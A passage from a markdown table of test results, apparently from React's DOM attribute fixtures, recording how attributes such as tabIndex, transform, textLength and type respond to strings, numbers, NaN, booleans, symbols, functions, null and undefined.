'true')`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(string 'false')`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(string 'on')`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(string 'off')`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(symbol)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(function)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(null)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(undefined)`| (initial)| `<null>` |\n\n## `surfaceScale` (on `<feDiffuseLighting>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `surfaceScale=(string)`| (initial)| `<number: 1>` |\n| `surfaceScale=(empty string)`| (changed)| `<number: 0>` |\n| `surfaceScale=(array with string)`| (initial)| `<number: 1>` |\n| `surfaceScale=(empty array)`| (changed)| `<number: 0>` |\n| `surfaceScale=(object)`| (initial)| `<number: 1>` |\n| `surfaceScale=(numeric string)`| (changed)| `<number: 42>` |\n| `surfaceScale=(-1)`| (changed)| `<number: -1>` |\n| `surfaceScale=(0)`| (changed)| `<number: 0>` |\n| `surfaceScale=(integer)`| (initial)| `<number: 1>` |\n| `surfaceScale=(NaN)`| (initial, warning)| `<number: 1>` |\n| `surfaceScale=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `surfaceScale=(true)`| (initial, warning)| `<number: 1>` |\n| `surfaceScale=(false)`| (initial, warning)| `<number: 1>` |\n| `surfaceScale=(string 'true')`| (initial)| `<number: 1>` |\n| `surfaceScale=(string 'false')`| (initial)| `<number: 1>` |\n| `surfaceScale=(string 'on')`| (initial)| `<number: 1>` |\n| `surfaceScale=(string 'off')`| (initial)| `<number: 1>` |\n| `surfaceScale=(symbol)`| (initial, warning)| `<number: 1>` |\n| `surfaceScale=(function)`| (initial, warning)| `<number: 1>` |\n| `surfaceScale=(null)`| (initial)| `<number: 1>` |\n| `surfaceScale=(undefined)`| (initial)| `<number: 1>` |\n\n## `systemLanguage` (on `<a>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `systemLanguage=(string)`| (changed)| `[\"en\"]` |\n| `systemLanguage=(empty string)`| (initial)| `[]` |\n| `systemLanguage=(array with string)`| (changed)| `[\"en\"]` |\n| `systemLanguage=(empty array)`| (initial)| `[]` |\n| `systemLanguage=(object)`| (changed)| `[\"result\", \"of\", \"toString()\"]` |\n| `systemLanguage=(numeric string)`| (changed)| `[\"42\"]` |\n| `systemLanguage=(-1)`| (changed)| `[\"-1\"]` |\n| `systemLanguage=(0)`| (changed)| `[\"0\"]` |\n| `systemLanguage=(integer)`| (changed)| `[\"1\"]` |\n| `systemLanguage=(NaN)`| (changed, warning)| `[\"NaN\"]` |\n| `systemLanguage=(float)`| (changed)| `[\"99.99\"]` |\n| `systemLanguage=(true)`| (initial, warning)| `[]` |\n| `systemLanguage=(false)`| (initial, warning)| `[]` |\n| `systemLanguage=(string 'true')`| (changed)| `[\"true\"]` |\n| `systemLanguage=(string 'false')`| (changed)| `[\"false\"]` |\n| `systemLanguage=(string 'on')`| (changed)| `[\"on\"]` |\n| `systemLanguage=(string 'off')`| (changed)| `[\"off\"]` |\n| `systemLanguage=(symbol)`| (initial, warning)| `[]` |\n| `systemLanguage=(function)`| (initial, warning)| `[]` |\n| `systemLanguage=(null)`| (initial)| `[]` |\n| `systemLanguage=(undefined)`| (initial)| `[]` |\n\n## `tabIndex` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `tabIndex=(string)`| (initial)| `<number: -1>` |\n| `tabIndex=(empty string)`| (initial)| `<number: -1>` |\n| `tabIndex=(array with string)`| (initial)| `<number: -1>` |\n| `tabIndex=(empty array)`| (initial)| `<number: -1>` |\n| `tabIndex=(object)`| (initial)| `<number: -1>` |\n| `tabIndex=(numeric string)`| (changed)| `<number: 42>` |\n| `tabIndex=(-1)`| (initial)| `<number: -1>` |\n| `tabIndex=(0)`| (changed)| `<number: 0>` |\n| `tabIndex=(integer)`| (changed)| `<number: 1>` |\n| `tabIndex=(NaN)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(float)`| (changed)| `<number: 99>` |\n| `tabIndex=(true)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(false)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(string 'true')`| (initial)| `<number: -1>` |\n| `tabIndex=(string 'false')`| (initial)| `<number: -1>` |\n| `tabIndex=(string 'on')`| (initial)| `<number: -1>` |\n| `tabIndex=(string 'off')`| (initial)| `<number: -1>` |\n| `tabIndex=(symbol)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(function)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(null)`| (initial)| `<number: -1>` |\n| `tabIndex=(undefined)`| (initial)| `<number: -1>` |\n\n## `tabIndex` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `tabIndex=(string)`| (initial)| `<number: -1>` |\n| `tabIndex=(empty string)`| (initial)| `<number: -1>` |\n| `tabIndex=(array with string)`| (initial)| `<number: -1>` |\n| `tabIndex=(empty array)`| (initial)| `<number: -1>` |\n| `tabIndex=(object)`| (initial)| `<number: -1>` |\n| `tabIndex=(numeric string)`| (changed)| `<number: 42>` |\n| `tabIndex=(-1)`| (initial)| `<number: -1>` |\n| `tabIndex=(0)`| (changed)| `<number: 0>` |\n| `tabIndex=(integer)`| (changed)| `<number: 1>` |\n| `tabIndex=(NaN)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(float)`| (changed)| `<number: 99>` |\n| `tabIndex=(true)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(false)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(string 'true')`| (initial)| `<number: -1>` |\n| `tabIndex=(string 'false')`| (initial)| `<number: -1>` |\n| `tabIndex=(string 'on')`| (initial)| `<number: -1>` |\n| `tabIndex=(string 'off')`| (initial)| `<number: -1>` |\n| `tabIndex=(symbol)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(function)`| (initial, warning)| `<number: -1>` |\n| `tabIndex=(null)`| (initial)| `<number: -1>` |\n| `tabIndex=(undefined)`| (initial)| `<number: -1>` |\n\n## `tableValues` (on `<feFuncA>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `tableValues=(string)`| (changed)| `[0, 1, 2, 3]` |\n| `tableValues=(empty string)`| (initial)| `[]` |\n| `tableValues=(array with string)`| (changed)| `[0, 1, 2, 3]` |\n| `tableValues=(empty array)`| (initial)| `[]` |\n| `tableValues=(object)`| (initial)| `[]` |\n| `tableValues=(numeric string)`| (changed)| `[42]` |\n| `tableValues=(-1)`| (changed)| `[-1]` |\n| `tableValues=(0)`| (changed)| `[0]` |\n| `tableValues=(integer)`| (changed)| `[1]` |\n| `tableValues=(NaN)`| (initial, warning)| `[]` |\n| `tableValues=(float)`| (changed)| `[99.98999786376953]` |\n| `tableValues=(true)`| (initial, warning)| `[]` |\n| `tableValues=(false)`| (initial, warning)| `[]` |\n| `tableValues=(string 'true')`| (initial)| `[]` |\n| `tableValues=(string 'false')`| (initial)| `[]` |\n| `tableValues=(string 'on')`| (initial)| `[]` |\n| `tableValues=(string 'off')`| (initial)| `[]` |\n| `tableValues=(symbol)`| (initial, warning)| `[]` |\n| `tableValues=(function)`| (initial, warning)| `[]` |\n| `tableValues=(null)`| (initial)| `[]` |\n| `tableValues=(undefined)`| (initial)| `[]` |\n\n## `target` (on `<a>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `target=(string)`| (changed)| `\"a string\"` |\n| `target=(empty string)`| (initial)| `<empty string>` |\n| `target=(array with string)`| (changed)| `\"string\"` |\n| `target=(empty array)`| (initial)| `<empty string>` |\n| `target=(object)`| (changed)| `\"result of toString()\"` |\n| `target=(numeric string)`| (changed)| `\"42\"` |\n| `target=(-1)`| (changed)| `\"-1\"` |\n| `target=(0)`| (changed)| `\"0\"` |\n| `target=(integer)`| (changed)| `\"1\"` |\n| `target=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `target=(float)`| (changed)| `\"99.99\"` |\n| `target=(true)`| (initial, warning)| `<empty string>` |\n| `target=(false)`| (initial, warning)| `<empty string>` |\n| `target=(string 'true')`| (changed)| `\"true\"` |\n| `target=(string 'false')`| (changed)| `\"false\"` |\n| `target=(string 'on')`| (changed)| `\"on\"` |\n| `target=(string 'off')`| (changed)| `\"off\"` |\n| `target=(symbol)`| (initial, warning)| `<empty string>` |\n| `target=(function)`| (initial, warning)| `<empty string>` |\n| `target=(null)`| (initial)| `<empty string>` |\n| `target=(undefined)`| (initial)| `<empty string>` |\n\n## `targetX` (on `<feConvolveMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `targetX=(string)`| (initial)| `<number: 0>` |\n| `targetX=(empty string)`| (initial)| `<number: 0>` |\n| `targetX=(array with string)`| (initial)| `<number: 0>` |\n| `targetX=(empty array)`| (initial)| `<number: 0>` |\n| `targetX=(object)`| (initial)| `<number: 0>` |\n| `targetX=(numeric string)`| (changed)| `<number: 42>` |\n| `targetX=(-1)`| (changed)| `<number: -1>` |\n| `targetX=(0)`| (initial)| `<number: 0>` |\n| `targetX=(integer)`| (changed)| `<number: 1>` |\n| `targetX=(NaN)`| (initial, warning)| `<number: 0>` |\n| `targetX=(float)`| (initial)| `<number: 0>` |\n| `targetX=(true)`| (initial, warning)| `<number: 0>` |\n| `targetX=(false)`| (initial, warning)| `<number: 0>` |\n| `targetX=(string 'true')`| (initial)| `<number: 0>` |\n| `targetX=(string 'false')`| (initial)| `<number: 0>` |\n| `targetX=(string 'on')`| (initial)| `<number: 0>` |\n| `targetX=(string 'off')`| (initial)| `<number: 0>` |\n| `targetX=(symbol)`| (initial, warning)| `<number: 0>` |\n| `targetX=(function)`| (initial, warning)| `<number: 0>` |\n| `targetX=(null)`| (initial)| `<number: 0>` |\n| `targetX=(undefined)`| (initial)| `<number: 0>` |\n\n## `targetY` (on `<feConvolveMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `targetY=(string)`| (initial)| `<number: 0>` |\n| `targetY=(empty string)`| (initial)| `<number: 0>` |\n| `targetY=(array with string)`| (initial)| `<number: 0>` |\n| `targetY=(empty array)`| (initial)| `<number: 0>` |\n| `targetY=(object)`| (initial)| `<number: 0>` |\n| `targetY=(numeric string)`| (changed)| `<number: 42>` |\n| `targetY=(-1)`| (changed)| `<number: -1>` |\n| `targetY=(0)`| (initial)| `<number: 0>` |\n| `targetY=(integer)`| (changed)| `<number: 1>` |\n| `targetY=(NaN)`| (initial, warning)| `<number: 0>` |\n| `targetY=(float)`| (initial)| `<number: 0>` |\n| `targetY=(true)`| (initial, warning)| `<number: 0>` |\n| `targetY=(false)`| (initial, warning)| `<number: 0>` |\n| `targetY=(string 'true')`| (initial)| `<number: 0>` |\n| `targetY=(string 'false')`| (initial)| `<number: 0>` |\n| `targetY=(string 'on')`| (initial)| `<number: 0>` |\n| `targetY=(string 'off')`| (initial)| `<number: 0>` |\n| `targetY=(symbol)`| (initial, warning)| `<number: 0>` |\n| `targetY=(function)`| (initial, warning)| `<number: 0>` |\n| `targetY=(null)`| (initial)| `<number: 0>` |\n| `targetY=(undefined)`| (initial)| `<number: 0>` |\n\n## `text-anchor` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `text-anchor=(string)`| (changed, warning)| `\"a string\"` |\n| `text-anchor=(empty string)`| (changed, warning)| `<empty string>` |\n| `text-anchor=(array with string)`| (changed, warning)| `\"string\"` |\n| `text-anchor=(empty array)`| (changed, warning)| `<empty string>` |\n| `text-anchor=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `text-anchor=(numeric string)`| (changed, warning)| `\"42\"` |\n| `text-anchor=(-1)`| (changed, warning)| `\"-1\"` |\n| `text-anchor=(0)`| (changed, warning)| `\"0\"` |\n| `text-anchor=(integer)`| (changed, warning)| `\"1\"` |\n| `text-anchor=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `text-anchor=(float)`| (changed, warning)| `\"99.99\"` |\n| `text-anchor=(true)`| (initial, warning)| `<null>` |\n| `text-anchor=(false)`| (initial, warning)| `<null>` |\n| `text-anchor=(string 'true')`| (changed, warning)| `\"true\"` |\n| `text-anchor=(string 'false')`| (changed, warning)| `\"false\"` |\n| `text-anchor=(string 'on')`| (changed, warning)| `\"on\"` |\n| `text-anchor=(string 'off')`| (changed, warning)| `\"off\"` |\n| `text-anchor=(symbol)`| (initial, warning)| `<null>` |\n| `text-anchor=(function)`| (initial, warning)| `<null>` |\n| `text-anchor=(null)`| (initial, warning)| `<null>` |\n| `text-anchor=(undefined)`| (initial, warning)| `<null>` |\n\n## `text-decoration` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `text-decoration=(string)`| (changed, warning)| `\"a string\"` |\n| `text-decoration=(empty string)`| (changed, warning)| `<empty string>` |\n| `text-decoration=(array with string)`| (changed, warning)| `\"string\"` |\n| `text-decoration=(empty array)`| (changed, warning)| `<empty string>` |\n| `text-decoration=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `text-decoration=(numeric string)`| (changed, warning)| `\"42\"` |\n| `text-decoration=(-1)`| (changed, warning)| `\"-1\"` |\n| `text-decoration=(0)`| (changed, warning)| `\"0\"` |\n| `text-decoration=(integer)`| (changed, warning)| `\"1\"` |\n| `text-decoration=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `text-decoration=(float)`| (changed, warning)| `\"99.99\"` |\n| `text-decoration=(true)`| (initial, warning)| `<null>` |\n| `text-decoration=(false)`| (initial, warning)| `<null>` |\n| `text-decoration=(string 'true')`| (changed, warning)| `\"true\"` |\n| `text-decoration=(string 'false')`| (changed, warning)| `\"false\"` |\n| `text-decoration=(string 'on')`| (changed, warning)| `\"on\"` |\n| `text-decoration=(string 'off')`| (changed, warning)| `\"off\"` |\n| `text-decoration=(symbol)`| (initial, warning)| `<null>` |\n| `text-decoration=(function)`| (initial, warning)| `<null>` |\n| `text-decoration=(null)`| (initial, warning)| `<null>` |\n| `text-decoration=(undefined)`| (initial, warning)| `<null>` |\n\n## `text-rendering` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `text-rendering=(string)`| (changed, warning)| `\"a string\"` |\n| `text-rendering=(empty string)`| (changed, warning)| `<empty string>` |\n| `text-rendering=(array with string)`| (changed, warning)| `\"string\"` |\n| `text-rendering=(empty array)`| (changed, warning)| `<empty string>` |\n| `text-rendering=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `text-rendering=(numeric string)`| (changed, warning)| `\"42\"` |\n| `text-rendering=(-1)`| (changed, warning)| `\"-1\"` |\n| `text-rendering=(0)`| (changed, warning)| `\"0\"` |\n| `text-rendering=(integer)`| (changed, warning)| `\"1\"` |\n| `text-rendering=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `text-rendering=(float)`| (changed, warning)| `\"99.99\"` |\n| `text-rendering=(true)`| (initial, warning)| `<null>` |\n| `text-rendering=(false)`| (initial, warning)| `<null>` |\n| `text-rendering=(string 'true')`| (changed, warning)| `\"true\"` |\n| `text-rendering=(string 'false')`| (changed, warning)| `\"false\"` |\n| `text-rendering=(string 'on')`| (changed, warning)| `\"on\"` |\n| `text-rendering=(string 'off')`| (changed, warning)| `\"off\"` |\n| `text-rendering=(symbol)`| (initial, warning)| `<null>` |\n| `text-rendering=(function)`| (initial, warning)| `<null>` |\n| `text-rendering=(null)`| (initial, warning)| `<null>` |\n| `text-rendering=(undefined)`| (initial, warning)| `<null>` |\n\n## `textAnchor` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `textAnchor=(string)`| (changed)| `\"a string\"` |\n| `textAnchor=(empty string)`| (changed)| `<empty string>` |\n| `textAnchor=(array with string)`| (changed)| `\"string\"` |\n| `textAnchor=(empty array)`| (changed)| `<empty string>` |\n| `textAnchor=(object)`| (changed)| `\"result of toString()\"` |\n| `textAnchor=(numeric string)`| (changed)| `\"42\"` |\n| `textAnchor=(-1)`| (changed)| `\"-1\"` |\n| `textAnchor=(0)`| (changed)| `\"0\"` |\n| `textAnchor=(integer)`| (changed)| `\"1\"` |\n| `textAnchor=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `textAnchor=(float)`| (changed)| `\"99.99\"` |\n| `textAnchor=(true)`| (initial, warning)| `<null>` |\n| `textAnchor=(false)`| (initial, warning)| `<null>` |\n| `textAnchor=(string 'true')`| (changed)| `\"true\"` |\n| `textAnchor=(string 'false')`| (changed)| `\"false\"` |\n| `textAnchor=(string 'on')`| (changed)| `\"on\"` |\n| `textAnchor=(string 'off')`| (changed)| `\"off\"` |\n| `textAnchor=(symbol)`| (initial, warning)| `<null>` |\n| `textAnchor=(function)`| (initial, warning)| `<null>` |\n| `textAnchor=(null)`| (initial)| `<null>` |\n| `textAnchor=(undefined)`| (initial)| `<null>` |\n\n## `textDecoration` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `textDecoration=(string)`| (changed)| `\"a string\"` |\n| `textDecoration=(empty string)`| (changed)| `<empty string>` |\n| `textDecoration=(array with string)`| (changed)| `\"string\"` |\n| `textDecoration=(empty array)`| (changed)| `<empty string>` |\n| `textDecoration=(object)`| (changed)| `\"result of toString()\"` |\n| `textDecoration=(numeric string)`| (changed)| `\"42\"` |\n| `textDecoration=(-1)`| (changed)| `\"-1\"` |\n| `textDecoration=(0)`| (changed)| `\"0\"` |\n| `textDecoration=(integer)`| (changed)| `\"1\"` |\n| `textDecoration=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `textDecoration=(float)`| (changed)| `\"99.99\"` |\n| `textDecoration=(true)`| (initial, warning)| `<null>` |\n| `textDecoration=(false)`| (initial, warning)| `<null>` |\n| `textDecoration=(string 'true')`| (changed)| `\"true\"` |\n| `textDecoration=(string 'false')`| (changed)| `\"false\"` |\n| `textDecoration=(string 'on')`| (changed)| `\"on\"` |\n| `textDecoration=(string 'off')`| (changed)| `\"off\"` |\n| `textDecoration=(symbol)`| (initial, warning)| `<null>` |\n| `textDecoration=(function)`| (initial, warning)| `<null>` |\n| `textDecoration=(null)`| (initial)| `<null>` |\n| `textDecoration=(undefined)`| (initial)| `<null>` |\n\n## `textLength` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `textLength=(string)`| (initial)| `<SVGLength: 0>` |\n| `textLength=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `textLength=(array with string)`| (initial)| `<SVGLength: 0>` |\n| `textLength=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `textLength=(object)`| (initial)| `<SVGLength: 0>` |\n| `textLength=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `textLength=(-1)`| (changed)| `<SVGLength: -1>` |\n| `textLength=(0)`| (initial)| `<SVGLength: 0>` |\n| `textLength=(integer)`| (changed)| `<SVGLength: 1>` |\n| `textLength=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `textLength=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `textLength=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `textLength=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `textLength=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `textLength=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `textLength=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `textLength=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `textLength=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `textLength=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `textLength=(null)`| (initial)| `<SVGLength: 0>` |\n| `textLength=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `textRendering` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `textRendering=(string)`| (changed)| `\"a string\"` |\n| `textRendering=(empty string)`| (changed)| `<empty string>` |\n| `textRendering=(array with string)`| (changed)| `\"string\"` |\n| `textRendering=(empty array)`| (changed)| `<empty string>` |\n| `textRendering=(object)`| (changed)| `\"result of toString()\"` |\n| `textRendering=(numeric string)`| (changed)| `\"42\"` |\n| `textRendering=(-1)`| (changed)| `\"-1\"` |\n| `textRendering=(0)`| (changed)| `\"0\"` |\n| `textRendering=(integer)`| (changed)| `\"1\"` |\n| `textRendering=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `textRendering=(float)`| (changed)| `\"99.99\"` |\n| `textRendering=(true)`| (initial, warning)| `<null>` |\n| `textRendering=(false)`| (initial, warning)| `<null>` |\n| `textRendering=(string 'true')`| (changed)| `\"true\"` |\n| `textRendering=(string 'false')`| (changed)| `\"false\"` |\n| `textRendering=(string 'on')`| (changed)| `\"on\"` |\n| `textRendering=(string 'off')`| (changed)| `\"off\"` |\n| `textRendering=(symbol)`| (initial, warning)| `<null>` |\n| `textRendering=(function)`| (initial, warning)| `<null>` |\n| `textRendering=(null)`| (initial)| `<null>` |\n| `textRendering=(undefined)`| (initial)| `<null>` |\n\n## `title` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `title=(string)`| (changed)| `\"a string\"` |\n| `title=(empty string)`| (initial)| `<empty string>` |\n| `title=(array with string)`| (changed)| `\"string\"` |\n| `title=(empty array)`| (initial)| `<empty string>` |\n| `title=(object)`| (changed)| `\"result of toString()\"` |\n| `title=(numeric string)`| (changed)| `\"42\"` |\n| `title=(-1)`| (changed)| `\"-1\"` |\n| `title=(0)`| (changed)| `\"0\"` |\n| `title=(integer)`| (changed)| `\"1\"` |\n| `title=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `title=(float)`| (changed)| `\"99.99\"` |\n| `title=(true)`| (initial, warning)| `<empty string>` |\n| `title=(false)`| (initial, warning)| `<empty string>` |\n| `title=(string 'true')`| (changed)| `\"true\"` |\n| `title=(string 'false')`| (changed)| `\"false\"` |\n| `title=(string 'on')`| (changed)| `\"on\"` |\n| `title=(string 'off')`| (changed)| `\"off\"` |\n| `title=(symbol)`| (initial, warning)| `<empty string>` |\n| `title=(function)`| (initial, warning)| `<empty string>` |\n| `title=(null)`| (initial)| `<empty string>` |\n| `title=(undefined)`| (initial)| `<empty string>` |\n\n## `to` (on `<set>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `to=(string)`| (changed)| `\"a string\"` |\n| `to=(empty string)`| (changed)| `<empty string>` |\n| `to=(array with string)`| (changed)| `\"string\"` |\n| `to=(empty array)`| (changed)| `<empty string>` |\n| `to=(object)`| (changed)| `\"result of toString()\"` |\n| `to=(numeric string)`| (changed)| `\"42\"` |\n| `to=(-1)`| (changed)| `\"-1\"` |\n| `to=(0)`| (changed)| `\"0\"` |\n| `to=(integer)`| (changed)| `\"1\"` |\n| `to=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `to=(float)`| (changed)| `\"99.99\"` |\n| `to=(true)`| (initial, warning)| `<null>` |\n| `to=(false)`| (initial, warning)| `<null>` |\n| `to=(string 'true')`| (changed)| `\"true\"` |\n| `to=(string 'false')`| (changed)| `\"false\"` |\n| `to=(string 'on')`| (changed)| `\"on\"` |\n| `to=(string 'off')`| (changed)| `\"off\"` |\n| `to=(symbol)`| (initial, warning)| `<null>` |\n| `to=(function)`| (initial, warning)| `<null>` |\n| `to=(null)`| (initial)| `<null>` |\n| `to=(undefined)`| (initial)| `<null>` |\n\n## `transform` (on `<a>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `transform=(string)`| (changed)| `[<SVGMatrix 1 0 0 1 -10 -20>/2/0, <SVGMatrix 2 0 0 2 0 0>/3/0, <SVGMatrix 0.7071067811865476 0.7071067811865475 -0.7071067811865475 0.7071067811865476 0 0>/4/45, <SVGMatrix 1 0 0 1 5 10>/2/0]` |\n| `transform=(empty string)`| (initial)| `[]` |\n| `transform=(array with string)`| (changed)| `[<SVGMatrix 1 0 0 1 -10 -20>/2/0, <SVGMatrix 2 0 0 2 0 0>/3/0, <SVGMatrix 0.7071067811865476 0.7071067811865475 -0.7071067811865475 0.7071067811865476 0 0>/4/45, <SVGMatrix 1 0 0 1 5 10>/2/0]` |\n| `transform=(empty array)`| (initial)| `[]` |\n| `transform=(object)`| (initial)| `[]` |\n| `transform=(numeric string)`| (initial)| `[]` |\n| `transform=(-1)`| (initial)| `[]` |\n| `transform=(0)`| (initial)| `[]` |\n| `transform=(integer)`| (initial)| `[]` |\n| `transform=(NaN)`| (initial, warning)| `[]` |\n| `transform=(float)`| (initial)| `[]` |\n| `transform=(true)`| (initial, warning)| `[]` |\n| `transform=(false)`| (initial, warning)| `[]` |\n| `transform=(string 'true')`| (initial)| `[]` |\n| `transform=(string 'false')`| (initial)| `[]` |\n| `transform=(string 'on')`| (initial)| `[]` |\n| `transform=(string 'off')`| (initial)| `[]` |\n| `transform=(symbol)`| (initial, warning)| `[]` |\n| `transform=(function)`| (initial, warning)| `[]` |\n| `transform=(null)`| (initial)| `[]` |\n| `transform=(undefined)`| (initial)| `[]` |\n\n## `transform-origin` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `transform-origin=(string)`| (changed, warning)| `\"a string\"` |\n| `transform-origin=(empty string)`| (changed, warning)| `<empty string>` |\n| `transform-origin=(array with string)`| (changed, warning)| `\"string\"` |\n| `transform-origin=(empty array)`| (changed, warning)| `<empty string>` |\n| `transform-origin=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `transform-origin=(numeric string)`| (changed, warning)| `\"42\"` |\n| `transform-origin=(-1)`| (changed, warning)| `\"-1\"` |\n| `transform-origin=(0)`| (changed, warning)| `\"0\"` |\n| `transform-origin=(integer)`| (changed, warning)| `\"1\"` |\n| `transform-origin=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `transform-origin=(float)`| (changed, warning)| `\"99.99\"` |\n| `transform-origin=(true)`| (initial, warning)| `<null>` |\n| `transform-origin=(false)`| (initial, warning)| `<null>` |\n| `transform-origin=(string 'true')`| (changed, warning)| `\"true\"` |\n| `transform-origin=(string 'false')`| (changed, warning)| `\"false\"` |\n| `transform-origin=(string 'on')`| (changed, warning)| `\"on\"` |\n| `transform-origin=(string 'off')`| (changed, warning)| `\"off\"` |\n| `transform-origin=(symbol)`| (initial, warning)| `<null>` |\n| `transform-origin=(function)`| (initial, warning)| `<null>` |\n| `transform-origin=(null)`| (initial, warning)| `<null>` |\n| `transform-origin=(undefined)`| (initial, warning)| `<null>` |\n\n## `transformOrigin` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `transformOrigin=(string)`| (changed)| `\"a string\"` |\n| `transformOrigin=(empty string)`| (changed)| `<empty string>` |\n| `transformOrigin=(array with string)`| (changed)| `\"string\"` |\n| `transformOrigin=(empty array)`| (changed)| `<empty string>` |\n| `transformOrigin=(object)`| (changed)| `\"result of toString()\"` |\n| `transformOrigin=(numeric string)`| (changed)| `\"42\"` |\n| `transformOrigin=(-1)`| (changed)| `\"-1\"` |\n| `transformOrigin=(0)`| (changed)| `\"0\"` |\n| `transformOrigin=(integer)`| (changed)| `\"1\"` |\n| `transformOrigin=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `transformOrigin=(float)`| (changed)| `\"99.99\"` |\n| `transformOrigin=(true)`| (initial, warning)| `<null>` |\n| `transformOrigin=(false)`| (initial, warning)| `<null>` |\n| `transformOrigin=(string 'true')`| (changed)| `\"true\"` |\n| `transformOrigin=(string 'false')`| (changed)| `\"false\"` |\n| `transformOrigin=(string 'on')`| (changed)| `\"on\"` |\n| `transformOrigin=(string 'off')`| (changed)| `\"off\"` |\n| `transformOrigin=(symbol)`| (initial, warning)| `<null>` |\n| `transformOrigin=(function)`| (initial, warning)| `<null>` |\n| `transformOrigin=(null)`| (initial)| `<null>` |\n| `transformOrigin=(undefined)`| (initial)| `<null>` |\n\n## `type` (on `<button>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `type=(string)`| (changed)| `\"reset\"` |\n| `type=(empty string)`| (initial)| `\"submit\"` |\n| `type=(array with string)`| (changed)| `\"reset\"` |\n| `type=(empty array)`| (initial)| `\"submit\"` |\n| `type=(object)`| (initial)| `\"submit\"` |\n| `type=(numeric string)`| (initial)| `\"submit\"` |\n| `type=(-1)`| (initial)| `\"submit\"` |\n| `type=(0)`| (initial)| `\"submit\"` |\n| `type=(integer)`| (initial)| `\"submit\"` |\n| `type=(NaN)`| (initial, warning)| `\"submit\"` |\n| `type=(float)`| (initial)| `\"submit\"` |\n| `type=(true)`| (initial, warning)| `\"submit\"` |\n| `type=(false)`| (initial, warning)| `\"submit\"` |\n| `type=(string 'true')`| (initial)| `\"submit\"` |\n| `type=(string 'false')`| (initial)| `\"submit\"` |\n| `type=(string 'on')`| (initial)| `\"submit\"` |\n| `type=(string 'off')`| (initial)| `\"submit\"` |\n| `type=(symbol)`| (initial, warning)| `\"submit\"` |\n| `type=(function)`| (initial, warning)| `\"submit\"` |\n| `type=(null)`| (initial)| `\"submit\"` |\n| `type=(undefined)`| (initial)| `\"submit\"` |\n\n## `type` (on `<feFuncA>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `type=(string)`| (changed)| `<number: 3>` |\n| `type=(empty string)`| (initial)| `<number: 1>` |\n| `type=(array with string)`| (changed)| `<number: 3>` |\n| `type=(empty array)`| (initial)| `<number: 1>` |\n| `type=(object)`| (initial)| `<number: 1>` |\n| `type=(numeric 